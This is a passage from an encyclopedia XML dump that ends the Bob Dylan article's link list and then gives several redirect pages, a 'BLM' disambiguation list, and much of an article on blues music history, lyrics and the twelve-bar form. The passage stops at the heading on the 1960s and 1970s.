* [http://www.argotistonline.co.uk/Side%20essay%202.htm &quot;Ambiguity and Abstraction in Bob Dylan’s Lyrics&quot;] discusses the view that Bob's Dylan wrote his songs so ambiguously that he intended for people to form their own ideas of what he means.

=====Books=====
* [http://linux02.lib.cam.ac.uk/~cjs2/cda/www_cats21.cgi?n=Bob+Dylan&amp;t=&amp;s=&amp;o=w&amp;b=1&amp;m=200&amp;Submit+search=Submit+search&amp;.cgifields=o Books (from Cambridge University Library Catalogue)]
* [http://www.taxhelp.com/toc.html Bibliography]
* [http://www.edlis.org/alone Academic series: Bob Dylan All Alone On A Shelf]

=====Articles=====
* [http://jco.usfca.edu/ondylan.html Joyce Carol Oates on Bob Dylan]
* [http://www.salon.com/people/bc/2001/05/22/dylan/ Brilliant Careers: Bob Dylan] By Bill Wyman

=====Miscellaneous=====
*2005 [[PBS]]/[[BBC]] Documentary: [http://www.bobdylan.com/ndh.html Bob Dylan: No Direction Home] directed by [[Martin Scorsese]]; at [http://bobdylan.com bobdylan.com]
*[http://www.bbc.co.uk/music/bobdylan/ BBC Music – Bob Dylan Season on the BBC] timeline, guides, profiles, reviews, video clips and photos
*[http://www.hibbing.org/dylan1/story.html Life In Hibbing] An account of young Robert Zimmerman's life in Hibbing, prepared for the local &quot;Dylan Days 2005&quot; event
*Dylan's speech to the [http://www.corliss-lamont.org/dylan.htm NELC]
*[http://www.expectingrain.com/dok/atlas/ Atlas]
*[http://www.expectingrain.com/dok/who/who.html Who's Who]
*[http://www.bjorner.com/Covers.htm Covers of Bob by others]
*[http://www.expectingrain.com/dok/edlis/barf.html &quot;Barf&quot; list of songs referring to Dylan]
*[http://www.radiohazak.com/Peace.html Bob Dylan and Israel], [http://www.bobdylan.com/songs/bully.html ''Neighborhood Bully'' lyrics with audio]
*Search Google archive of [http://groups.google.com/advanced_group_search?group=rec.music.dylan rec.music.dylan] 1989–present (includes all HWY61-L posts)
*Search the Dylan Mailing List Archives  [http://listserv.acsu.buffalo.edu/cgi-bin/wa?S1=hwy61-l HWY61-L] 1995–present (includes many rec.music.dylan posts, with wheat separated from chaff)
*[http://www.edlis.org EDLIS]
*[http://www.geocities.com/temptations_page/DylGuide.html The Annotated Bob Dylan]
*Master &amp; Disciple – [http://www.thrasherswheat.org/jammin/dylan.htm Bob Dylan &amp; Neil Young]
*[http://www.new-pony.com/timeline.html Bob Dylan Timeline]
*[http://www.my-back-pages.com my-back-pages] Online Dylan community (message board)
*[http://www.bobdylantalk.com BobDylanTalk.com], a discussion forum for fans of the music of Bob Dylan. 
*[http://www.music-city.org/discography.php?artist=Bob+Dylan Bob Dylan's discography, news, and bio] from Music City
*[http://thefreewheelin.org Unofficial Bob Dylan &quot;fanlisting&quot;]
*[http://www.bob-dylan.tk Bob Dylan Starting Point] - Started out as a portal of sorts, now it's more like a blog, featuring news on cd's, books etc.
*[http://pool.dylantree.com Dylanpool] - Setlist prediction game and discussion boards

{{Bob Dylan}}

[[Category:Bob Dylan| ]]
[[Category:1941 births|Dylan, Bob]]
[[Category:1960s|Dylan, Bob]]
[[Category:American male singers|Dylan, Bob]]
[[Category:American poets|Dylan, Bob]]
[[Category:Folk singers|Dylan, Bob]]
[[Category:Greenwich Village Scene|Dylan, Bob]]
[[Category:Jewish American musicians|Dylan, Bob]]
[[Category:Jewish-American singers|Dylan, Bob]]
[[Category:Living people|Dylan, Bob]]
[[Category:Minnesota musicians|Dylan, Bob]]
[[Category:Musical activists|Dylan, Bob]]
[[Category:New York musicians|Dylan, Bob]]
[[Category:Rock and Roll Hall of Fame inductees|Dylan, Bob]]
[[Category:Singer-songwriters|Dylan, Bob]]

{{featured article}}

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[[zh:鲍勃·迪伦]]</text>
    </revision>
  </page>
  <page>
    <title>Byrd, Robert</title>
    <id>3346</id>
    <revision>
      <id>15901688</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Robert Byrd]]
</text>
    </revision>
  </page>
  <page>
    <title>BLM</title>
    <id>3347</id>
    <revision>
      <id>35333940</id>
      <timestamp>2006-01-16T00:25:54Z</timestamp>
      <contributor>
        <username>Wangi</username>
        <id>339108</id>
      </contributor>
      <comment>rv, [[MoS:DP]]</comment>
      <text xml:space="preserve">'''BLM''' may stand for:

*[[Bureau of Land Management]], United States
*[[Brushless Motor]], a brushless DC or AC motor
*[[Bergbahn Lauterbrunnen-Mürren]], a railway in Switzerland, part funicular, part adhesion
*[[Black Mage]], a job in Final Fantasy XI
*[[Bilayer lipid membrane]]
*[[Bloom syndrome]] gene
*[[Block Land Mods]]
*[[Basic Learning Materials]]
*[[Beam Loss Measurement]]
*[[Biotic Ligand Model]]
*[[Black Line Master]]
*[[Border Liaison Mechanism]], joint governmental instrument between United States and Mexico
*[[Boundary Layer Model]]

{{TLAdisambig}}</text>
    </revision>
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  <page>
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    <id>3348</id>
    <revision>
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      <timestamp>2003-05-14T20:48:04Z</timestamp>
      <contributor>
        <username>LittleDan</username>
        <id>8995</id>
      </contributor>
      <text xml:space="preserve">#redirect [[business]]</text>
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  </page>
  <page>
    <title>Business Schools</title>
    <id>3349</id>
    <revision>
      <id>15901691</id>
      <timestamp>2003-04-26T19:49:36Z</timestamp>
      <contributor>
        <username>Mic</username>
        <id>6273</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Business school]]</text>
    </revision>
  </page>
  <page>
    <title>Breaking</title>
    <id>3350</id>
    <revision>
      <id>15901692</id>
      <timestamp>2003-12-23T16:27:58Z</timestamp>
      <contributor>
        <ip>144.137.136.30</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Breakdancing]]</text>
    </revision>
  </page>
  <page>
    <title>Blues</title>
    <id>3352</id>
    <revision>
      <id>41990528</id>
      <timestamp>2006-03-03T02:02:57Z</timestamp>
      <contributor>
        <username>RobHutten</username>
        <id>279430</id>
      </contributor>
      <comment>removing comercial advertising content</comment>
      <text xml:space="preserve">{{otheruses|Blues}}
{{Bluesbox}}
The '''blues''' is a [[vocal music|vocal]] and instrumental form of [[music]] based on a [[pentatonic scale]] and a characteristic [[twelve bar blues|twelve-bar]] [[chord progression]]. The form evolved in the [[United States]] in the communities of former African [[slavery|slave]]s from [[spiritual (music)|spirituals]], praise songs, field hollers, shouts, and [[chant]]s. The use of [[blue note]]s and the prominence of [[call and response (music)|call-and-response]] patterns in the music and lyrics are indicative of the blues' [[West Africa]]n pedigree. The blues has been a major influence on later American and Western [[popular music]], finding expression in [[ragtime]], [[jazz]], [[bluegrass music|bluegrass]], [[rhythm and blues]], [[rock and roll]], [[hip-hop]], and [[country music]], as well as conventional [[pop song]]s.

The phrase ''the blues'' is a synonym for having a fit of ''the blue devils'', meaning low spirits, depression and sadness.  An early reference to this can be found in [[George Colman the Younger|George Colman]]'s [[farce]] ''Blue devils, a farce in one act'' (1798).  Later during the 19th century, the phrase was used as a euphemism for [[delirium tremens]] and the [[police]].  Though usage of the phrase in [[African American music]] may be older, it has been attested to since 1912 in [[Memphis, Tennessee]] with [[W. C. Handy]]'s &quot;[[Memphis Blues]]&quot;.{{ref|oed}}{{ref|slang}}  In lyrics the phrase is often used to describe a depressed mood.{{ref|bolden}}

==Characteristics==
===Origins===
There are few characteristics common to all blues, because the genre takes its shape from the peculiarities of individual performances.{{ref|noabsolute}} However, some characteristics have been present since before the creation of the modern blues and are common to most styles of [[African American music]]. The earliest blues-like music was a &quot;functional expression, rendered in a call-and-response style without accompaniment or harmony and unbounded by the formality of any particular musical structure.&quot;{{ref|pre-blues}} This pre-blues music was adapted from slave field shouts and hollers, expanded into &quot;simple solo songs laden with emotional content&quot;.{{ref|origins}} The blues, as it is now known, can be seen as a musical style based on both European [[harmony |harmonic structure]] and the West African call-and-response tradition, transformed into an interplay of voice and guitar.{{ref|interplay}}

Many blues elements, such as the call-and-response format and the use of blue notes, can be traced back to the [[music of Africa]]. Sylviane Diouf has pointed to several specific traits—such as the use of [[melisma]] and a wavy, nasal intonation—that suggest a connection between the music of West and Central Africa and blues{{ref|Muslimmusic}}.  [[Ethnomusicology |Ethnomusicologist]] [[Gerhard Kubik]] may have been the first to contend that certain elements of the blues have roots in the [[Muslim music|Islamic music]] of West and Central Africa.

&lt;blockquote&gt;Stringed instruments (which were favored by slaves from Muslim regions of Africa…), were generally allowed because slave owners considered them akin to European instruments like the violin. So slaves who managed to cobble together a banjo or other instrument…could play more widely in public. This solo-oriented slave music featured elements of an Arabic-Islamic song style that had been imprinted by centuries of Islam's presence in West Africa, says Gerhard Kubik, an ethnomusicology professor at the University of Mainz in Germany who has written the most comprehensive book on Africa's connection to blues music (''Africa and the Blues'').[http://www.sfgate.com/cgi-bin/article.cgi?f=/c/a/2004/08/15/INGMC85SSK1.DTL]&lt;/blockquote&gt; 

Kubik also pointed out that the Mississippi technique of playing the guitar using a knife blade, recorded by [[W.C. Handy]] in his autobiography, is common to West and Central Africa cultures where the [[Kora (instrument)|kora]], a guitar-like instrument, is often the stringed instrument of choice.  This technique consists of pressing a knife against the strings of the guitar, and is a possible antecedent of the [[slide guitar]] technique.  

[[Image:Robertjohson.jpg|thumb|left|175px|[[Robert Johnson]], a [[Delta blues]] singer, is generally considered responsible for the standardization of the 12-bar blues.]]
Blues music later adopted elements from the &quot;Ethiopian airs&quot;—&quot;Ethiopian&quot; is used here to mean &quot;[[black people|black]]&quot;—of [[minstrel show]]s and [[Negro spiritual]]s, including instrumental and harmonic accompaniment.{{ref|bluesevolution}} The style also was closely related to [[ragtime]], which developed at about the same time, though the blues better preserved &quot;the original melodic patterns of African music&quot;.{{ref|ragtimeblues}}  Songs from this early period had many different structures.  Examples can be found in [[Leadbelly]]'s or [[Henry Thomas (blues musician) |Henry Thomas]]'s recordings.  However, the [[twelve bar blues|twelve-]], [[eight-bar blues|eight-]], or [[16 bar blues|sixteen-bar]] structure based on [[tonic chord|tonic]], [[subdominant chord|subdominant]] and [[dominant chord]]s became the most common.{{ref|barschords}} What is now recognizable as the standard 12-bar blues form is documented from [[oral history]] and [[sheet music]] appearing in African American communities throughout the region along the lower [[Mississippi River]] during the first decade of the 1900s (and performed by white bands in [[New Orleans]] at least since 1908). One of these early sites of blues evolution was along [[Beale Street]] in [[Memphis, Tennessee]].

===Lyrics===
{{sample box start|blues music}}
{{multi-listen start}}
{{multi-listen item|
  filename=WhereDidYouSleepLastNight.ogg|
  title=&quot;Where Did You Sleep Last Night?&quot;|
  description=Performed by Leadbelly, a folk singer and guitarist; this Southern Appalachian song dates to the 1870s|
  format=[[Ogg]]}}
{{multi-listen item|
  filename=Crossroads.ogg|
  title=&quot;Cross Road Blues&quot;|
  description=Performed in 1937 by Robert Johnson, a Delta blues guitarist|
  format=[[Ogg]]}}
{{multi-listen item|
  filename=Po'Gal.ogg|
  title=&quot;Po&amp;rsquo; Gal&quot;|
  description=East Coast blues, performed by [[Zora Neale Hurston]] in 1939|
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{{multi-listen item|
  filename=caldonia.ogg|
  title=&quot;Caldonia&quot;|
  description=Jump blues performed by Louis Jordan in 1945|
  format=[[Ogg]]}}
{{multi-listen item|
  filename=HowlinWolf BackDoorMan.ogg|
  title=&quot;Back Door Man&quot;|
  description=Chicago blues performed by Howlin' Wolf in 1960|
  format=[[Ogg]]}}
{{multi-listen item|
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  title=&quot;Try (Just a Little Bit Harder)&quot;|
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  format=[[Ogg]]}}
{{multi-listen end}}
{{sample box end}}

Early blues frequently took the form of a loose narrative, often with the singer voicing his or her &quot;personal woes in a world of harsh reality: a lost love, the cruelty of police officers, oppression at the hands of white folk, hard times&quot;.{{ref|lyrics}} Many of the oldest blues records contain gritty, realistic lyrics, in contrast to much of the music being recorded at the time. One of the more extreme examples, &quot;[[Down in the Alley]]&quot; by [[Memphis Minnie]], is about a [[prostitution|prostitute]] having sex with men in an alley. Music such as this was called &quot;gut-bucket&quot; blues. The term refers to a type of homemade bass instrument made from a metal bucket used to clean pig intestines for [[chitterlings]], a [[soul food]] dish associated with slavery and deprivation. &quot;Gut-bucket&quot; described blues that was &quot;low-down&quot; and earthy, that dealt with often rocky or steamy man-woman relationships, hard luck and hard times. Gut-bucket blues and the rowdy juke-joint venues where it often was played, earned blues music an unsavory reputation. Upstanding church-going people shunned it, and some preachers railed against it as sinful. And because it often treated the hardships and injustices of life, the blues gained an association in some quarters with misery and oppression. But the blues was about more than hard times; it could be humorous and raunchy as well: 

:Rebecca, Rebecca, get your big legs off of me,
:Rebecca, Rebecca, get your big legs off of me,
:It may be sending you baby, but it's worrying the hell out of me.

Author Ed Morales has claimed that [[Yoruba mythology]] played a part in early blues, citing [[Robert Johnson]]'s &quot;[[Cross Road Blues]]&quot; as a &quot;thinly veiled reference to [[Eleggua]], the [[orisha]] in charge of the crossroads&quot;.{{ref|orisha}}  However, many seminal blues artists such as [[Josh White |Joshua White]], [[Son House]], [[Skip James]], or [[Reverend Gary Davis]] were influenced by [[Christianity]].

The original lyrical form of the blues was probably a single line, repeated three times. It was only later that the current, most common structure—a line, repeated once and then followed by a single line conclusion—became standard. {{ref|lyricalform}}

===Musical style===
Though during the first decades of the twentieth century blues music was not clearly defined in terms of chords progression, the twelve-bar blues became standard in the '30s.  However, in addition to the conventional twelve-bar blues, there are many blues in [[8 bar blues|8-bar]] form, such as &quot;How Long Blues&quot;, &quot;Trouble in Mind&quot;, and [[Big Bill Broonzy]]'s &quot;Key to the Highway&quot;.  There are also [[16 bar blues]], as in [[Ray Charles]]'s instrumental &quot;Sweet 16 Bars&quot;.  More idiosyncratic numbers of bars are also encountered occasionally, as with the 9 bar progression in [[Howling Wolf]]'s &quot;Sitting on top of the World&quot;.  The basic twelve-bar lyric framework of a blues composition is reflected by a standard [[harmonic progression]] of twelve bars, in 4/4 or 2/4 time.  The blues [[Chord (music)|chords]] associated to a [[twelve-bar blues]] are typically a set of three different chords played over a twelve-bar scheme:

{| border=1 cellspacing=0
|align=&quot;center&quot; width=&quot;50px&quot; | I
|align=&quot;center&quot; width=&quot;50px&quot; | I or IV
|align=&quot;center&quot; width=&quot;50px&quot; | I
|align=&quot;center&quot; width=&quot;50px&quot; | I
|-
|align=&quot;center&quot; width=&quot;50px&quot; | IV
|align=&quot;center&quot; width=&quot;50px&quot; | IV
|align=&quot;center&quot; width=&quot;50px&quot; | I
|align=&quot;center&quot; width=&quot;50px&quot; | I
|-
|align=&quot;center&quot; width=&quot;50px&quot; | V
|align=&quot;center&quot; width=&quot;50px&quot; | IV
|align=&quot;center&quot; width=&quot;50px&quot; | I
|align=&quot;center&quot; width=&quot;50px&quot; | I or V
|}

where the [[Roman number]]s refer to the [[degree (music) |degree]]s of the progression.  That would mean, if played in the [[tonality]] of F, the chords would be as follows:

{| border=1 cellspacing=0
|align=&quot;center&quot; width=&quot;50px&quot; | F
|align=&quot;center&quot; width=&quot;50px&quot; | F or Bb
|align=&quot;center&quot; width=&quot;50px&quot; | F
|align=&quot;center&quot; width=&quot;50px&quot; | F
|-
|align=&quot;center&quot; width=&quot;50px&quot; | Bb
|align=&quot;center&quot; width=&quot;50px&quot; | Bb
|align=&quot;center&quot; width=&quot;50px&quot; | F
|align=&quot;center&quot; width=&quot;50px&quot; | F
|-
|align=&quot;center&quot; width=&quot;50px&quot; | C
|align=&quot;center&quot; width=&quot;50px&quot; | Bb
|align=&quot;center&quot; width=&quot;50px&quot; | F
|align=&quot;center&quot; width=&quot;50px&quot; | F or C
|}

In this example, F is the [[tonic chord]], Bb the [[subdominant chord |subdominant]]. Note that much of the time, every chord is played in the [[dominant seventh]] (7th) form.  Frequently, the last chord is the dominant (V or in this case C) [[turnaround]] making the transition to the beginning of the next progression.

The lyrics generally end on the last beat of the tenth bar or the first beat of the eleventh bar, and the final two bars are given to the instrumentalist as a break; the harmony of this two-bar break, the [[turnaround]], can be extremely complex, sometimes consisting of single notes that defy analysis in terms of chords. The final beat, however, is almost always strongly grounded in the dominant seventh (V7), to provide tension for the next verse. Musicians sometimes refer to twelve-bar blues as &quot;B-flat&quot; blues because it is the traditional pitch of the tenor sax, trumpet/cornet, clarinet and trombone.

[[Image:058502r.jpg|thumb|right|200px|Sheet music from &quot;[[Saint Louis Blues (music)|St. Louis Blues]]&quot; (1914)]]

[[Melody |Melodically]], blues music is marked by the use of the [[flat]]ted [[minor third| third]], [[tritone|fifth]] and [[minor seventh|seventh]] (the so-called [[blue notes|''blue'' or ''bent notes'']]) of the associated [[major scale]].{{ref|bluenotes}} While the twelve-bar harmonic progression had been intermittently used for centuries, the revolutionary aspect of blues was the frequent use of the flatted fourth, flatted seventh, and even flatted fifth in the melody, together with ''crushing''—playing directly adjacent notes at the same time, i.e., diminished second—and ''sliding''—similar to using [[grace note]]s.{{ref|Mozart}} Where a classical musician will generally play a grace note distinctly, a blues singer or harmonica player will [[glissando]]; a pianist or guitarist might crush the two notes and then release the grace note. Blues harmonies also use the subdominant major-minor seventh and the tonic major-minor seventh in place of the tonic.  Blues is occasionally played in a [[minor scale |minor key]].  The scale differs little from the traditional minor, except for the occasional use of a flatted fifth in the tonic, often crushed by the singer or lead instrument with the [[perfect fifth]] in the harmony.  [[Janis Joplin]]'s rendition of &quot;Ball and Chain&quot;, accompanied by [[Big Brother and the Holding Company]], provides an example of this technique. Also, minor-key blues is most often structured in sixteen bars rather than twelve—e.g., &quot;[[St. James Infirmary Blues]]&quot; and [[Trixie Smith]]'s &quot;My Man Rocks Me&quot;—and was often influenced by evangelical religious music.

Blues [[shuffle rhythm|shuffle]]s are also typical of the style.  Their use reinforces the rhythm and call-and-response trance, the [[groove (popular music)|groove]].  Their simplest version commonly used in many postwar [[electric blues]], [[rock-and-roll]]s, or early [[bebop]]s is a basic three-note [[riff]] on the bass strings of the guitar. Played in time with the bass and the drums, this technique, similar to the [[walking bass]], produces the groove feel characteristic of the blues. The last bar of the chord progression is usually accompanied by a [[turnaround]] making the transition to the beginning next progression.
[[Shuffle rhythm]] is often vocalized as &quot;''dow'', da ''dow'', da ''dow'', da&quot; or &quot;''dump'', da ''dump'', da ''dump'', da&quot;{{ref|hamburger}} as it consists of uneven eight notes. On a guitar this may be done as a simple steady bass or may add to that stepwise quarter note motion from the fifth to the seventh of the chord and back.  An example is provided by the following [[tablature]] for the first four bars of a blues progression in E:{{ref|shuffle}}{{ref|savidge}}

&lt;div style=&quot;font-size: 75%&quot;&gt;
    E7                  A7                  E7                  E7
 E |-------------------|-------------------|-------------------|-------------------|
 B |-------------------|-------------------|-------------------|-------------------|
 G |-------------------|-------------------|-------------------|-------------------|
 D |-------------------|2--2-4--4-2--2-4--4|-------------------|-------------------|
 A |2--2-4--4-2--2-4--4|0--0-0--0-0--0-0--0|2--2-4--4-2--2-4--4|2--2-4--4-2--2-4--4|
 E |0--0-0--0-0--0-0--0|-------------------|0--0-0--0-0--0-0--0|0--0-0--0-0--0-0--0|
&lt;/div&gt;

==History==
===Origins===
{{main|Origins of the blues}}
Blues has evolved from the spare music of poor black laborers into a wide variety of complex styles and subgenres, spawning regional variations across the United States and, later, Europe, Africa and elsewhere.  What is now considered &quot;blues&quot; as well as modern &quot;[[country music]]&quot; arose at approximately the same time and place during the nineteenth century in the southern United States.  Recorded blues and country can be found from as far back as the 1920s, when the popular record industry developed and created marketing categories called &quot;[[race music]]&quot; and &quot;[[hillbilly music]]&quot; to sell music by and for blacks and whites, respectively. At the time, there was no clear musical division between &quot;blues&quot; and &quot;country,&quot; except for the race of the performer, and even that sometimes was documented incorrectly by record companies.{{ref|bluescountry}} While blues emerged from the culture of African-Americans, blues musicians have since emerged world-wide.  Studies have situated the origin of &quot;black&quot; spiritual music inside slaves' exposure to their masters' [[Hebrides |Hebridean]]-originated gospels.  African-American economist and historian [[Thomas Sowell]] also notes that the southern, black, ex-slave population was acculturated to a considerable degree by and among their Scots-Irish &quot;[[redneck]]&quot; neighbors.  However, the findings of Kubik and others also clearly attest to the essential Africanness of many essential aspects of blues expression.

Much has been speculated about the social and economical reasons for the appearance of the blues.{{ref|nicholls}} The first appearance of the blues is not well defined and is often dated between 1870 and 1900.  This period coincides with the [[Emancipation|emancipation]] of the slaves and the transition from slavery to sharecropping and small-scale agricultural production in the southern United States.  Several scholars characterize the development, which appeared at the turn of the century, as a move from group performances to a more individualized style.  They argue that the development of the blues is strongly related to the newly acquired freedom of the slaves.  According to [[Lawrence Levine]],{{ref|levine}} &quot;there was a direct relationship between the national ideological emphasis upon the individual, the popularity of [[Booker T. Washington]]'s teachings, and the rise of the blues. Psychologically, socially, and economically, Negroes were being acculturate in a way that would have been impossible during slavery, and it is hardly surprising that their secular music reflected this as much as their religious music did.&quot;

===Prewar blues===
Flush with the success of appropriating the [[ragtime]] craze for commercial gain, the American [[sheet music]] publishing industry wasted no time in pursuing similar commercial success with the blues. In 1912, three popular blues-like compositions were published, precipitating the [[Tin Pan Alley]] adoption of blues elements: &quot;Baby Seals' Blues&quot; by [[Arthur Seals]], &quot;Dallas Blues&quot; by [[Hart Wand]] and &quot;[[Memphis Blues]]&quot; by [[W. C. Handy]] {{ref|1912}}. Handy, a formally trained musician, composer and arranger was a key popularizer of blues.  Handy was one of the first to transcribe and then orchestrate blues in an almost symphonic style, with bands and singers.  He  went on to become a very popular composer, and billed himself as the &quot;Father of the Blues&quot;, though it can be debated whether his compositions are blues at all;{{ref|Handypseudoblues}} they can be described as a fusion of blues with ragtime and jazz, a merger facilitated using the Latin [[habanera]] rhythm that had long been a part of ragtime.{{ref|habanera}} Extremely prolific over his long life, Handy's signature work was the ''[[Saint Louis Blues (music)|St. Louis Blues]]''. 

[[Image:Blindblake.jpg|thumb|left|175px|[[Blind Blake]] was an influential blues singer and guitarist known as the &quot;King of Ragtime Guitar&quot;.]]
In the 1920s, the blues became a major element of African American and American popular music in general, reaching &quot;white&quot; audience via Handy's work and the classic female blues performers. It evolved from informal performances to entertainment in theaters, for instance within the [[Theater Owners Bookers Association]], in [[nightclub]]s, such as the [[Cotton Club]], and [[juke joint]]s, for example along [[Beale Street]] in Memphis.  This evolution led to a notable diversification of the styles and to a clearer cut between blues and jazz.  Several record companies, such as the [[American Record Corporation]], [[Okeh Records]], and [[Paramount Records]], began to record African American music.  As the recording industry grew, so did, in the African American community, the popularity of country blues performers like [[Charlie Patton]], [[Leadbelly]], [[Blind Lemon Jefferson]], [[Lonnie Johnson]], [[Son House]] and [[Blind Blake]]. Jefferson was one of the few country blues performers to record widely, and may have been the first to record the [[slide guitar]] style, in which a guitar is fretted with a knife blade, the sawed-off neck of a liquor bottle, or other implement. The slide guitar went on to become an important part of the [[Delta blues]].{{ref|LemonJefferson}}  When blues recordings were first made, in the 1920s, there were two major divisions: a traditional, rural [[country blues]], and a diverse set of more polished city or urban blues.

Country blues performers were often unaccompanied, or performed with only a banjo or guitar, and were often improvised.  There were many regional styles of country blues in the early 20th century, a few especially important. The (Mississippi) Delta blues was a rootsy style, often accompanied by [[slide guitar]] and [[harmonica]], and characterized by a spare style and passionate vocals.  The most influential performer of this style is usually said to be [[Robert Johnson]],{{ref|RJohnson}} who was little recorded but combined elements of both urban and rural blues in a unique manner. Along with Robert Johnson, major artists of this style were his predecessors [[Charley Patton]] and [[Son House]]. The southeastern &quot;delicate and lyrical&quot; [[Piedmont blues]] tradition, based on an elaborated [[fingerpicking]] guitar technique, was represented by singers like [[Blind Willie McTell]] and [[Blind Boy Fuller]].{{ref|Piedmontblues}} The lively [[Memphis blues]] style, which developed in the '20s and '30s around [[Memphis, Tennessee]], was mostly influenced by [[jug band]]s, such as the [[Memphis Jug Band]] or the [[Gus Cannon| Gus Cannon's Jug Stompers]]. They used a large variety of unusual instruments such as [[washboard]], [[fiddle]], [[kazoo]] or [[mandolin]]. Representative artists in this style include [[Sleepy John Estes]], [[Robert Wilkins]], [[Joe McCoy]] and [[Memphis Minnie]]. Memphis Minnie was a major female blues artist of this time.  She was famous for her virtuoso guitar style. The pianist [[Memphis Slim]] also began his career in Memphis, but his quite distinct style was smoother and contained some swing elements. Many blues musicians based in Memphis moved to Chicago in the late thirties or early forties and participated in the urban blues movement, straddling the border between the country and electric blues. 

[[Image:Bessiesmith.jpg|thumb|right|175px|[[Bessie Smith]] was a very famous early blues singer.]]
City blues was much more codified and elaborate.{{ref|countrycity}} [[classic female blues|Classic female urban]] or [[vaudeville]] blues singers were extremely popular in the 1920s, among them [[Mamie Smith]], [[Gertrude Ma Rainey|Gertrude &quot;Ma&quot; Rainey]], [[Bessie Smith]], and  [[Victoria Spivey]]. Though more a vaudeville performer than a blues artist, Mamie Smith was the first African- American to record a blues in 1920. Her success was such that 75,000 copies of &quot;Crazy Blues&quot; sold in its first  month.{{ref|Harrison}}  Ma Rainey, was called the &quot;Mother of Blues.&quot; According to Clarke,{{ref|SmithRainey}} both Rainey and Bessie Smith used a &quot;method of singing each song around centre tones, perhaps in order to project her voice more easily to the back of a room&quot; and Smith &quot;would also choose to sing a song in an unusual key, and her artistry in bending and stretching notes with her beautiful, powerful contralto to accommodate her own interpretation was unsurpassed&quot;.  Urban male performers included some of the most popular black musicians of the era, such [[Tampa Red]], [[Big Bill Broonzy]] and [[Leroy Carr]]. Before WWII, Tampa Red was sometimes referred to as &quot;the king of the slide guitar.&quot;  Carr made the unusual choice to accompany himself on the piano.{{ref|Carr}}  

[[Image:Boogie-woogie-bassline.PNG|thumb|left|A typical boogie-woogie bassline]]
Another important style of 1930s and early '40s urban blues was [[boogie-woogie (music)|boogie-woogie]]. Though most often piano based, it was not strictly a solo piano style, and was also used to accompany singers and, as a solo part, in bands and small combos. Boogie-Woogie was a style characterized by a regular bass figure, an [[ostinato]] or [[riff]]. It was featured by the most familiar example of [[shift of level|shifts of level]], in the left hand which elaborates on each chord, and trills and decorations from the right hand. Boogie-woogie was pioneered by the Chicago-based [[Jimmy Yancey]] and the Boogie-Woogie Trio ([[Albert Ammons]], [[Pete Johnson]] and [[Meade Lux Lewis]]). Chicago also produced other musicians in the style, like [[Pinetop Smith|Clarence &quot;Pine Top&quot; Smith]] and [[Earl Hines]], who &quot;linked the propulsive left-hand rhythms of the ragtime pianists with melodic figures similar to those of Armstrong's trumpet in the right hand&quot;.{{ref|YanceyHines}}

One kind of early 1940s urban blues was the [[jump blues]], a style heavily influenced by [[big band]] music and characterized by the use of the guitar in the rhythm section, a jazzy, up-tempo sound, declamatory vocals and the use of the [[saxophone]] or other [[brass instrument]]s. The jump blues of people like [[Louis Jordan]] and [[Big Joe Turner]], based in [[Kansas City, Missouri]], later became the primary basis for [[rock and roll]] and [[rhythm and blues]].{{ref|jumpblues}}  Also straddling the border between classic rhythm and blues and blues is the very smooth Louisiana style, whose main representatives are [[Professor Longhair]] and, more recently, [[Doctor John]].

===Early postwar blues===
[[Image:Muddy1.gif|thumb||right|Muddy Waters at a young age.]]

After [[World War II]] and in the 1950s, increased urbanization and the use of amplification led to new styles of [[electric blues]] music, popular in cities such as [[Chicago, Illinois|Chicago]], [[Detroit, Michigan|Detroit]] and [[Kansas City, Missouri|Kansas City]].

Chicago became a blues center in the early fifties.  The [[Chicago blues]] is influenced to a large extent by the [[Delta blues |Mississippi blues]] style, because most artists of this period were migrants from the [[Mississippi]] region: [[Howlin' Wolf]], [[Muddy Waters]], [[Willie Dixon]], and [[Jimmy Reed]] were all born in Mississippi. Their style is characterized by the use of electric guitar, sometimes slide guitar, [[harmonica]], traditional bass and drums. Nevertheless, some musicians of the same artistic movement, such as [[Elmore James]] or [[J. B. Lenoir]], also used saxophones but more as a rhythm support than as solo instruments. Though [[Little Walter]] and [[Sonny Boy Williamson II |Sonny Boy Williamson (Rice Miller)]] are the best known harp musicians of the early Chicago blues scene, others such as [[Big Walter Horton]] and [[Sonny Boy Williamson I |Sonny Boy Williamson]], who had already begun their careers before the war, also had tremendous influence. Muddy Waters and Elmore James were known for their innovative use of slide electric guitar. However, [[B. B. King]] and [[Freddy King]] did not use slide guitars and were perhaps the most influential guitarists of the Chicago blues style. Howlin' Wolf and Muddy Waters were famous for their deep voices. Howlin' Wolf is particularly acknowledged for distorting his voice with a special use of the microphone.  Willie Dixon played a major role on the Chicago scene. He was a bassist, but his fame came from his composing and writing of most [[blues standard |standard blues]] numbers of the period. He wrote &quot;Hoochie Coochie Man&quot; and &quot;I Just Want to Make Love to You&quot; for Muddy Waters, &quot;Wang  Dang Doodle&quot; for [[Koko Taylor]], and &quot;Back Door Man&quot; for Howlin' Wolf, and many others.  Most artists of this style recorded for the Chicago-based [[Chess Records]] label.

The influence of blues on mainstream American popular music was huge in the fifties. In the mid-1950s, musicians like [[Bo Diddley]] and [[Chuck Berry]] emerged. Directly influenced by the Chicago blues, their enthusiastic playing departed from the melancholy aspects of blues and is often acknowleged as the [[Origins of rock and roll |transition from the blues to rock 'n' roll]]. [[Elvis Presley]] and [[Bill Haley]], mostly influenced by the jump blues and boogie-woogie, popularized rock and roll within the white segment of the population. The influence of the Chicago blues was also very important in [[Louisiana]]'s [[zydeco]] music. [[Clifton Chenier]] and others introduced many blues accents in this style, such as the use of electric solo guitars and [[cajun]] arrangements of blues standards. However, other artists popular at this time, such as [[T-Bone Walker]] and [[John Lee Hooker]], showed up different influences which are not directly related to the Chicago style. [[Dallas, Texas|Dallas]]-born T-Bone Walker is often associated with the [[West Coast blues |California blues]] style. This blues style is smoother than Chicago blues and is a transition between the Chicago blues, the jump blues and [[swing]] with some [[jazz guitar|jazz-guitar]] influence. On the other hand, John Lee Hooker's blues is very personal. It is based on Hooker's deep rough voice accompanied by a single electric guitar. Though not directly influenced by boogie woogie, his very groovy style is sometimes called &quot;guitar boogie&quot;.  His first hit &quot;Boogie Chillen&quot; reached #1 on the R&amp;B charts in 1949.{{ref|Bjorn}}

===Blues in the '60s and '70s===
